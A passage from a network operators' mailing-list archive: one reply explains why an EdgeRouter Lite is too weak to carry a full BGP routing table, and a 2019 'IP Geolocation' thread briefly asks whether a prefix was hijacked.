500 MHz, and surely your BGP updates processing isn't offloaded, hence 
you will pretty quickly kill the whole router when you flood it with a 
full table, unless you set very low queue sizes, which isn't really 
reliable though since you generally want BGP to converge fast - not 
after a period of 15 minutes with the CPU sitting on 100%.


You might want to install something like OpenWRT (which I don't know 
the possibility of on an ERL), and run BIRD if you're tied to a low 
memory footprint, however, in a base vendor-generic setup of the ERL, 
it's beyond my understanding why one would even suggest running a full 
table on it.
Sent from Mailspring 


Re: IP Geolocation

2019-10-14 Thread Paul Farag
Is this an indication of a prefix that was highjacked?

Sent from my iPhone

> On Oct 14, 2019, at 9:19 AM, Ben Cannon  wrote:
> 


  1   2   3   4   5   6   7   8   9   10   >